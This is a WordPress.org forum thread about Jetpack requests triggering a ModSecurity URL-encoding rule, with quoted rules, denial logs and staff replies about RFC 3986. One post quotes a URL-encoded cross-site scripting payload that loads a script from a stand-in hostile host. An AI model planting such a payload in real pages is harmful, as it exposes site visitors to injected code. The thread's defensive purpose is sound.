WordPress.org

Ready to get started?Download WordPress

Forums

Jetpack by WordPress.com
[resolved] Automattic's IP range to whitelist in firewall (12 posts)

  1. Marcelo Pedra
    Member
    Posted 5 months ago #

    Hello guys, I noticed several connection attempts to my sites from an IP belonging to Automattic (192.0.81.13). The connection is breaking some mod_security rules, so I wanted to ask a list of current IP's to whitelist in my server firewall.
    The connection string is something like this (I changed a couple numbers to avoid posible security breach)
    /xmlrpc.php?for=jetpack&token=UDynqyk%28KhOa5IVz%40qFcr%246N4KCe7%25KP%3A1%3A1×tamp=1391327747&nonce=Tzsb9ZWduZ&body-hash=8leichwVzcK9QXEh0Tsy6MnFcAY%3D&signature=RcNRr2yuXyHc52ZFPKQ7D7lrQY8%3D HTTP/1.1
    I found a suitable range at 192.0.64.0/18. Can abybody confirm?
    Thanks

    http://wordpress.org/plugins/jetpack/

  2. Marcelo Pedra
    Member
    Posted 5 months ago #

    Let me add that the mod_security rules are working since almost one year, and the Automattic's IP's breaking the rules are:
    192.0.81.13
    192.0.81.121
    192.0.81.122
    They begun breaking rules on Jan 20th.

    The rule being triggered is this:

    # Check encodings
    SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@validateUrlEncoding" "chain, deny,log,auditlog,status:400,msg:'URL Encoding Abuse Attack Attempt',id:'950107',severity:'4'"
    SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "\%(?!$|\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})"

    Maybe any bug introduced in any new version of JetPack stats? Akismet maybe?

    Any ideas? What's working on those IP Addresses?

  3. Marcelo Pedra
    Member
    Posted 5 months ago #

    Based in the dates, my best guess is... JetPack Monitor is breaking some rules.
    Something you can fix? or are my mod_security rules too paranoid?

  4. Ben Lobaugh (blobaugh)
    Jetpack Engineer
    Plugin Author

    Posted 5 months ago #

    Marcelo do you have a log of login attempts? Can you look at that and tell me if you see 'username' attempting to login?

    Also are you running any security plugins such as Limit Login Attempts?

  5. Marcelo Pedra
    Member
    Posted 5 months ago #

    Hello Ben! There is no login attempts coming from that IPs. The problem is that they are trying to connect to xmlrpc.php in a way mod_security detects as supicious, and it's blocking it. It's not something at WordPress level, it's rather at server level.

    These are the last logs for one of the domains being "badly pinged". We will refer to it as DOMAIN1.com.ar:

    [Tue Feb 04 00:26:41.837789 2014] [:error] [pid 32763] [client 192.0.81.122] ModSecurity: Access denied with code 400 (phase 2). Pattern match "\\\\%(?!$|\\\\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" at ARGS:token. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "52"] [id "950107"] [msg "URL Encoding Abuse Attack Attempt"] [severity "WARNING"] [hostname "DOMAIN1.com.ar"] [uri "/xmlrpc.php"] [unique_id "UvBd8dGMEo4AAH-7zhcAAAAZ"]
    [Tue Feb 04 01:29:03.960670 2014] [:error] [pid 23713] [client 192.0.81.122] ModSecurity: Access denied with code 400 (phase 2). Pattern match "\\\\%(?!$|\\\\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" at ARGS:token. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "52"] [id "950107"] [msg "URL Encoding Abuse Attack Attempt"] [severity "WARNING"] [hostname "DOMAIN1.com.ar"] [uri "/xmlrpc.php"] [unique_id "UvBsj9GMEo4AAFyhc9EAAAAI"]
    [Tue Feb 04 08:27:38.551482 2014] [:error] [pid 14055] [client 192.0.81.122] ModSecurity: Access denied with code 400 (phase 2). Pattern match "\\\\%(?!$|\\\\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" at ARGS:token. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "52"] [id "950107"] [msg "URL Encoding Abuse Attack Attempt"] [severity "WARNING"] [hostname "DOMAIN1.com.ar"] [uri "/xmlrpc.php"] [unique_id "UvDOqtGMEo4AADbnVvwAAAAW"]
    [Tue Feb 04 11:28:37.580930 2014] [:error] [pid 15837] [client 192.0.81.122] ModSecurity: Access denied with code 400 (phase 2). Pattern match "\\\\%(?!$|\\\\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" at ARGS:token. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "52"] [id "950107"] [msg "URL Encoding Abuse Attack Attempt"] [severity "WARNING"] [hostname "DOMAIN1.com.ar"] [uri "/xmlrpc.php"] [unique_id "UvD5FdGMEo4AAD3dczYAAAAE"]
    [Tue Feb 04 12:27:37.558461 2014] [:error] [pid 7652] [client 192.0.81.122] ModSecurity: Access denied with code 400 (phase 2). Pattern match "\\\\%(?!$|\\\\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" at ARGS:token. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "52"] [id "950107"] [msg "URL Encoding Abuse Attack Attempt"] [severity "WARNING"] [hostname "DOMAIN1.com.ar"] [uri "/xmlrpc.php"] [unique_id "UvEG6dGMEo4AAB3k8NcAAAAM"]
    [Tue Feb 04 14:26:14.614623 2014] [:error] [pid 23771] [client 192.0.81.122] ModSecurity: Access denied with code 400 (phase 2). Pattern match "\\\\%(?!$|\\\\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" at ARGS:token. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "52"] [id "950107"] [msg "URL Encoding Abuse Attack Attempt"] [severity "WARNING"] [hostname "DOMAIN1.com.ar"] [uri "/xmlrpc.php"] [unique_id "UvEittGMEo4AAFzbUlEAAAAT"]

    And these are the last logs for the other, which we will call http://www.DOMAIN2.org

    [Tue Feb 04 15:52:56 2014] [error] [client 192.0.81.13] ModSecurity: Access denied with code 400 (phase 2). Pattern match "\\\\%(?!$|\\\\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" at ARGS:token. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "52"] [id "950107"] [msg "URL Encoding Abuse Attack Attempt"] [severity "WARNING"] [hostname "www.DOMAIN2.org"] [uri "/xmlrpc.php"] [unique_id "UvE3CNHZ864AAEbPS08AAAAI"]
    [Tue Feb 04 15:53:21 2014] [error] [client 192.0.81.13] ModSecurity: Access denied with code 400 (phase 2). Pattern match "\\\\%(?!$|\\\\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" at ARGS:token. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "52"] [id "950107"] [msg "URL Encoding Abuse Attack Attempt"] [severity "WARNING"] [hostname "www.DOMAIN2.org"] [uri "/xmlrpc.php"] [unique_id "UvE3IdHZ864AAEbhUtsAAAAa"]
    [Tue Feb 04 16:53:39 2014] [error] [client 192.0.81.13] ModSecurity: Access denied with code 400 (phase 2). Pattern match "\\\\%(?!$|\\\\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" at ARGS:token. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "52"] [id "950107"] [msg "URL Encoding Abuse Attack Attempt"] [severity "WARNING"] [hostname "www.DOMAIN2.org"] [uri "/xmlrpc.php"] [unique_id "UvFFQ9HZ864AADTiWT4AAAAa"]
    [Tue Feb 04 17:52:51 2014] [error] [client 192.0.81.13] ModSecurity: Access denied with code 400 (phase 2). Pattern match "\\\\%(?!$|\\\\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" at ARGS:token. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "52"] [id "950107"] [msg "URL Encoding Abuse Attack Attempt"] [severity "WARNING"] [hostname "www.DOMAIN2.org"] [uri "/xmlrpc.php"] [unique_id "UvFTI9HZ864AACdEO-MAAAAD"]
    [Tue Feb 04 18:39:22 2014] [error] [client 192.0.81.13] ModSecurity: Access denied with code 400 (phase 2). Pattern match "\\\\%(?!$|\\\\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" at ARGS:token. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "52"] [id "950107"] [msg "URL Encoding Abuse Attack Attempt"] [severity "WARNING"] [hostname "www.DOMAIN2.org"] [uri "/xmlrpc.php"] [unique_id "UvFeCtHZ864AAHQmi@4AAAAC"]
    [Tue Feb 04 18:51:47 2014] [error] [client 192.0.81.13] ModSecurity: Access denied with code 400 (phase 2). Pattern match "\\\\%(?!$|\\\\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})" at ARGS:token. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "52"] [id "950107"] [msg "URL Encoding Abuse Attack Attempt"] [severity "WARNING"] [hostname "www.DOMAIN2.org"] [uri "/xmlrpc.php"] [unique_id "UvFg89HZ864AAA04Ao0AAAAP"]

    I double checked the server logs, and your IPs are the only ones breaking the 950107 mod_security rule of note:

    # Check encodings
    SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@validateUrlEncoding" "chain, deny,log,auditlog,status:400,msg:'URL Encoding Abuse Attack Attempt',id:'950107',severity:'4'"
    SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "\%(?!$|\W|[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})"

    I could obviously delete that rule and forgive the problem, but at the end of the day, this may be a bug in something within JetPack.

    The rule begun being broken and flooding the logs here since the past Oct 18th, 2013. This is somewhere between JetPack 2.6 and 2.6.1, where you launched Monitor. I guess you started testing it one month before within wordpress.com. May these pings belong to the Monitor feature?

    DOMAIN1.com.ar is the head domain of a multisite install running under PHP 5.4. It has the following JetPack modules active:
    - Stats
    - JetPack comments
    - Subscriptions
    - Contact form
    - Enhanced Distribution
    - I never used Monitor on this site
    - This site use W3 Total Cache and Amazon Cloudfront as CDN

    http://www.DOMAIN2.org is a standalone WP site running under PHP 5.2. It has the following JetPack modules active:
    - Stats
    - Subscriptions
    - Custom CSS
    - Photon
    - Enhanced Distribution
    - I tested Monitor on this site. I deactivated it about a week ago to debug all this thing.
    - This site use WP Super Cache and CloduFlare as CDN

    It's of note that I manage almost 15 WP sites distributed in both servers and I use to set every one with almost same configuration and active modules (all of them have JetPack's wordPress.com Stats module activated) and none of these have triggered mod_security alerts.
    I checked all of them today and no one is using Monitor.

    So, what's going on? Can you tell?

  6. Ben Lobaugh (blobaugh)
    Jetpack Engineer
    Plugin Author

    Posted 5 months ago #

    Marcelo thank you for such a detailed answer! Give me a bit to troubleshoot on our end. I am also going to hit up the creator of Monitor to see what he has to say.

  7. Marcelo Pedra
    Member
    Posted 5 months ago #

    ok Ben, hope to hear soon from you all guys.

    In the meanwhile, I was googling and reading about this, and there are lot of opinions regarding when you are abusing of URL Encoding and in the other hand when may be considered false positives.

    The problem for the mod_security rule is that the petitions coming from your server are abusing of URL Encoding (overuse of % character)

    /xmlrpc.php?for=jetpack&token=UDynqyk%28KhOa5IVz%40qFcr%246N4KCe7%25KP%3A1%3A1×tamp=1391327747&nonce=Tzsb9ZWduZ&body-hash=8leichwVzcK9QXEh0Tsy6MnFcAY%3D&signature=RcNRr2yuXyHc52ZFPKQ7D7lrQY8%3D HTTP/1.1

    In despite you can have many good reasons for some JetPack system to launch pings using that command line, the purpose of this mod_security rule is to detect misuse and abuse of RFC2396 and protect against things like this type of Cross-Site Scripting:

    Excerpt from an arbitrary web page - “getdata.php”: echo $HTTP_GET_VARS[“data”];
    
    URL-Encoded attack: http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2f
    www.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e
    
    HTML execution: <script src=”http://www.badplace.com/nasty.js”></script>

    That's why YOUR server looks suspicious to mod_security.

    Source: http://www.technicalinfo.net/papers/URLEmbeddedAttacks.html

  8. Ben Lobaugh (blobaugh)
    Jetpack Engineer
    Plugin Author

    Posted 5 months ago #

    Still looking into this.

    I did find an article refrenced by the ModSecurity Community Manager that is worth reading http://www.modsecurity.org/blog/archives/2007/02/handling_false.html

    Until we come up with a solution maybe allowing the WordPress.com IPs to pass through is the simple solution.

  9. Marcelo Pedra
    Member
    Posted 5 months ago #

    Hi, I'm reading the linked doc. I was talking via mail with Brandon K about this issue too.

    As an answer, take in account the paragraph of that doc reading this:

    Don't be too hasty to remove a rule
    Just because a particular rule is generating a false positive on your site does not mean that you should remove the rule entirely. Remember, these rules were created for a reason. They are intended to block a known attack. By removing this rule completely, you might expose your website to the very attack that the rule was created for. This would be the dreaded False Negative.

    As per the chat with Brandon, they will double check the issue because it's happenning only on 2/12 websites. We have determined that the pings could be originated due to a awesome super new feature coming in future versions of JetPack, that started being tested some months ago.
    We're on it. I'll let you know what's new right here, when I got news to share.
    Best regards

  10. Marcelo Pedra
    Member
    Posted 5 months ago #

    I forgot to mention: the IPs are whitelisted. Nonetheless, they will be temporary blocked because that is how the firewall works: it will block temporarily mod_security infringers for 2 hours, and will permanently block those who was temporarily blocked more than 4 times in the last 24 hours, except for your IPs, which was whitelisted. This is in order to still block other IPs showing annoying behaviour too ;)

  11. DavidFraiser
    Member
    Posted 2 weeks ago #

    I can confirm this is still an issue. Best course is to whitelist Automattic's IP range (Marcelo listed above), rather than remove the Mod_Sec rule (because it's a valid rule).

  12. Brandon Kraft
    Happiness Engineer
    Plugin Author

    Posted 2 weeks ago #

    Hi David,

    I believe this is due to outdated modsec rules.

    In RFC 2396, the follow characters were reserved and thus had to be encoded:
    ";" | "/" | "?" | ":" | "@" | "&" | "=" | "+" | "$" | ","

    In 2005, RFC 3986 rendered 2396 obsolete. Among the changes is expanding the reserved set of characters:
    ":" / "/" / "?" / "#" / "[" / "]" / "@" / "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "="

    The parenthesis being in that set, using Marcelo's example above, is properly encoded (per 3986) as %28.

    The modsec rule, though, is still going off of RFC 2396. which sees %28 as an abuse since it wasn't a reserved character, thus incorrectly blocking it.

    Can you review your modsec rule to verify it is in compliance with 3986 and/or let me know a particular URL that is triggering the rule?

Reply

You must log in to post.

About this Plugin

About this Topic

Tags

No tags yet.